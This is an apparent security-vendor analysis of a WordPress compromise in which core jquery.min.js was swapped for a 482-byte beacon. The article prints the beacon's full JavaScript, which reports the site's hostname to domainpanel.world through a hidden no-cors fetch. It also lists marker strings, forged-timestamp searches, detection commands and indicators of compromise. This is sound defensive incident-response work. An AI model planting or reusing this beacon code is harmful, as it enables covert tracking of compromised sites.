Skip to content
Back to Articles

The jQuery That Wasn't: A 482-Byte Core File Swap That Phoned Home

Share:

A WordPress site owner opens the dashboard and the small things stop working. The Screen Options and Help tabs in the top right corner don't open. Meta boxes won't collapse. The browser console fills with jQuery is not defined. Nothing on the public site looks wrong, there is no redirect, no spam, no defaced page. It looks like a plugin conflict.

It wasn't. The file WordPress ships as wp-includes/js/jquery/jquery.min.js, normally about 87 KB of minified library code, had been replaced by a 482-byte file. It still opened with the official jQuery banner. Below the banner there was no jQuery at all, only a tiny tracking beacon that reported the site's hostname to an attacker's server every time an admin page loaded.

This article walks through that sample, the quiet markers that came with it, and the one forensic detail that tied everything together: a forged timestamp that was identical to the nanosecond on every file the attacker touched.

🧩 The sample: a banner and nothing else

This is the complete file, exactly as found. Read it once, then look at what is missing.

/*! jQuery v3.7.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */
(function(){try{var h=(location.hostname||'').replace(/:\d+$/,'').replace(/^www\./i,'');if(!h)return;var u='https://domainpanel.world/plugin.php?d='+encodeURIComponent(h)+'&e=ping&v=js';if(typeof fetch==='function'){fetch(u,{method:'GET',mode:'no-cors',credentials:'omit',cache:'no-store',keepalive:true}).catch(function(){});}else{var i=new Image();i.src=u;}}catch(e){}})();

//LICENSE hbeb6

Formatted for reading:

/*! jQuery v3.7.1 | (c) OpenJS Foundation ... */   // real banner, fake body
(function () {
  try {
    // 1. normalise the host: drop any :port and a leading "www."
    var h = (location.hostname || '').replace(/:\d+$/, '').replace(/^www\./i, '');
    if (!h) return;

    // 2. build the check-in URL: which site, what event, which loader
    var u = 'https://domainpanel.world/plugin.php?d=' + encodeURIComponent(h)
          + '&e=ping&v=js';

    // 3. fire and forget
    if (typeof fetch === 'function') {
      fetch(u, { method: 'GET', mode: 'no-cors', credentials: 'omit',
                 cache: 'no-store', keepalive: true }).catch(function () {});
    } else {
      var i = new Image(); i.src = u;            // fallback for old browsers
    }
  } catch (e) {}                                 // never throw, never log
})();

//LICENSE hbeb6                                  // campaign marker

Every option on that fetch() call was picked so the request stays out of sight:

  • mode: 'no-cors': the browser sends the request without asking the remote server for permission. The script can't read the response, and it doesn't need to. The request reaching the server is the whole point.
  • credentials: 'omit': no cookies go along, so nothing in the request stands out as a session leak.
  • cache: 'no-store': every page load is a fresh hit, never served from the browser cache.
  • keepalive: true: the request survives even if the visitor navigates away immediately.
  • catch(function(){}) plus the outer try/catch: a blocked domain or an offline network produces no console error that could make someone look.
  • The Image() fallback: a classic tracking pixel for browsers without fetch.

📡 What the beacon is for

The payload doesn't steal form data, doesn't inject ads and doesn't redirect anyone. It sends one thing: the cleaned-up hostname, with e=ping and v=js.

That is an inventory check-in. Someone operating access to many compromised sites needs to know which ones are still alive and still under their control. A ping from inside jquery.min.js answers that question every time an administrator, an editor or a visitor loads a page that includes core jQuery. The v=js parameter suggests the same endpoint also receives check-ins from other loaders, for example a PHP one, which matches the endpoint's name, plugin.php.

A check-in like this is usually step one, not the final goal. The list of live sites it builds is worth something: it can be sold, or used later to push a heavier payload to the sites that are still reachable. Treat a beacon as proof of access, not as a harmless analytics oddity.

💥 Why it broke the dashboard

Most injections add code to a legitimate file so that the site keeps working and nobody notices. This one replaced the file. The banner was kept so that a casual look at the first line says "jQuery 3.7.1", but the library itself was gone.

The public theme on this site didn't depend on core jQuery for anything visible, so the front end looked normal. The WordPress admin depends on it everywhere. Screen Options, Help, the collapsible meta boxes, many plugin settings pages: they all call jQuery(...) and fail with a ReferenceError when it isn't defined.

In other words, the attacker's choice of file was also the bug that gave the infection away. If your admin UI suddenly loses basic JavaScript behaviour after no update at all, check the size of jquery.min.js before you start disabling plugins.

🏷️ The marker: //LICENSE hbeb6

The last line of the sample, //LICENSE hbeb6, looks like a build artefact. It isn't part of any jQuery release. The same line, separated by an empty line, had been appended to three other core scripts:

  • wp-includes/js/wp-emoji-release.min.js
  • wp-includes/js/jquery/jquery-migrate.min.js
  • wp-includes/js/dist/vendor/wp-polyfill.min.js

In those three files the marker was the only change. Stripping the trailing \n\n//LICENSE hbeb6 (18 bytes) gave back the official file byte for byte. They carried no payload.

A marker like this has two uses for the attacker: it lets their tooling see at a glance whether a site has already been processed, and it tags files for later. For a defender it is a cheap, high-confidence search string. It also means a checksum mismatch on a core JS file is worth opening even when the diff is tiny.

⏱️ The timestamp that gave the rest away

By the time the site was reviewed, the live jquery.min.js had already been replaced with a clean copy, and the infected versions were preserved only inside a backup archive. That archive answered the "what" but not the "what else". The answer to that came from the attacker's own anti-forensics.

The infected core files carried a forged modification time, set to look old and unremarkable. Most tools display mtime to the second. Linux filesystems store it to the nanosecond, and the forged value had the same nanoseconds on every file. Real file writes never line up like that; a tool that stamps a fixed value across many files does.

Searching the whole document root for that exact nanosecond value turned up two more files that a search for malicious code could never find, because both were already empty:

  • wp-content/plugins/wp-plugin-flare/wp-plugin-flare.php: a "plugin" with no upstream on the WordPress plugin directory, not active, 0 bytes.
  • wp-content/uploads/wp-include/wp-dC91cGxvYWRz.js: inside a fake wp-include directory (note the missing s) under uploads. The file name decodes from Base64 to t/uploads, a fragment of the path it was written to.

The fake plugin had also left a trace in the database. The uninstall_plugins option held an entry for wp-plugin-flare/wp-plugin-flare.php pointing to a callback named flare_uninstall_ followed by 32 hex characters. No function with that name existed anywhere. It was a stale registration, harmless on its own, but it confirmed the plugin had once been loaded by WordPress.

Empty remnants are easy to dismiss. Don't: they show where the attacker wrote, which directory names they like, and that a plugin was installed at some point, which means PHP code ran on the server.

🔎 How to check your own site

All of the following are read-only. Run them as the site's own user, not as root, from the WordPress root directory.

1. Verify core checksums. This catches both the swapped jQuery and the marker-only changes:

wp core verify-checksums
# any "File doesn't verify against checksum" under wp-includes/js/ deserves a look

2. Check the size of core jQuery. A jQuery 3.x minified build is tens of kilobytes. A few hundred bytes is not jQuery:

ls -l wp-includes/js/jquery/jquery.min.js
head -c 300 wp-includes/js/jquery/jquery.min.js; echo

3. Search for the marker and the beacon pattern. Search the whole tree, not just wp-includes, and don't filter by extension:

grep -rIl --exclude-dir=node_modules -e '//LICENSE hbeb6' -e 'domainpanel\.world' -e "e=ping&v=js" .

4. Look for files with an identical full-precision mtime. Take the nanosecond timestamp of a file you already know is bad, then find every file that shares it:

stat -c '%y %n' wp-includes/js/jquery/jquery.min.js
# e.g. 2026-01-01 00:00:00.123456789 +0000
find . -newermt '2026-01-01 00:00:00.123456788' ! -newermt '2026-01-01 00:00:00.123456789' -printf '%TY-%Tm-%Td %TT %s %p\n'

If you don't have a known-bad file yet, group the whole tree by full mtime and look for values shared by files that have nothing else in common:

find . -type f -printf '%T@\n' | sort | uniq -c | sort -rn | head -20

5. Look for fake core-looking directories and plugins without an upstream.

find wp-content/uploads -type d \( -name 'wp-include' -o -name 'wp-includes' -o -name 'wp-admin' \)
wp plugin list --fields=name,status,version,update
wp option get uninstall_plugins --format=json

Any plugin you don't recognise and can't find on the official directory or the vendor's site, and any uninstall_plugins entry for a plugin that isn't installed, needs explaining.

6. Check backups and archives without unpacking them. Archives kept on the server often hold the infected originals. List and hash members in place, so nothing is written into the site:

unzip -l backup.zip | grep -E 'wp-includes/js/.*\.js'
unzip -p backup.zip 'wp-includes/js/jquery/jquery.min.js' | wc -c
unzip -p backup.zip 'wp-includes/js/jquery/jquery.min.js' | sha256sum

🧹 Cleaning it up properly

  • Take a full database backup first, and copy every suspicious file to an evidence folder outside the document root before you change anything.
  • Replace core, don't edit it. Reinstall the same WordPress version over the existing files (for example wp core download --force --skip-content --version=<your version>), then run wp core verify-checksums again until it is clean.
  • Remove the attacker's leftovers found by the timestamp search: fake plugins, fake directories, empty stubs. Check .user.ini and .htaccess for references to them first, so that deleting a file doesn't break the site.
  • Remove the stale database entry for the fake plugin from uninstall_plugins, keeping the entries of legitimate plugins.
  • Clear every cache layer, including a CDN, so browsers stop receiving the old jquery.min.js. Then load the real file from the public URL and confirm its size.
  • Keep infected backups out of the web root. A backup archive full of infected core files in a public directory is both a re-infection kit and a leak.

The beacon itself is a symptom: somebody had write access to wp-includes and installed a plugin. After cleaning, apply the usual hygiene: keep one site per hosting account where you can, keep core, plugins and themes updated, review administrator accounts and enable two-factor authentication.

🧾 Indicators of compromise

  • Beacon endpoint: https://domainpanel.world/plugin.php?d=<host>&e=ping&v=js
  • Domain: domainpanel.world
  • Marker: //LICENSE hbeb6 appended to core JS files
  • Fake jQuery: wp-includes/js/jquery/jquery.min.js, 482 bytes, jQuery v3.7.1 banner
  • SHA-256, fake jQuery: 872a8ceb78b86fae6d768da1e2787136af1b8732f8cb394e46f43c5680dc29d7
  • Fake plugin: wp-content/plugins/wp-plugin-flare/wp-plugin-flare.php; uninstall_plugins callback flare_uninstall_<32 hex>
  • Fake directory and file: wp-content/uploads/wp-include/wp-dC91cGxvYWRz.js
  • Forensic tell: identical nanosecond mtime across unrelated core, plugin and uploads files

💡 Takeaways for defenders

  • A banner is not a checksum. The first line of a file says what it claims to be. Its size and hash say what it is.
  • Broken admin JavaScript can be a security symptom. When core jQuery stops working without an update, check the file before you blame a plugin.
  • Tiny diffs in core files still matter. An 18-byte marker carries no payload, but it tells you the attacker had write access there and which campaign it was.
  • Forged timestamps are a search key. Attackers set fake dates to hide; fixed nanoseconds make the forgery easier to find than a real date would be.
  • Empty files still count. A 0-byte fake plugin is evidence that code was installed and loaded. Find it, record it, remove it.

❓ FAQ

Does this beacon steal passwords or customer data?

No. This sample sends only the site's hostname and two fixed parameters. It doesn't read cookies, forms or page content. It does prove that someone could write to your WordPress core files, which is a much bigger problem than the beacon itself.

Why didn't visitors notice anything?

The public theme didn't need core jQuery for anything visible, and the beacon request is silent. The only visible effect was in the WordPress admin, where Screen Options, Help and other jQuery-driven controls stopped working.

Is replacing jquery.min.js with a clean copy enough?

No. Replace all of core from the official package, then search for files sharing the forged timestamp, fake plugins, fake directories under uploads and stale database entries. In this case the swap came with markers in three other core files, a fake plugin and a file in a fake uploads directory.

The marked core files had no payload. Do I still need to replace them?

Yes. They fail core checksum verification, they mark the site as processed for the attacker's tooling, and replacing core from the official package fixes them with no extra effort.

How do I find files with the same nanosecond timestamp?

Run stat on a known-bad file to get its full mtime, then use find with -newermt and ! -newermt set one nanosecond apart around that value. Without a known-bad file, list full-precision mtimes with find -printf '%T@' and look for values shared by unrelated files.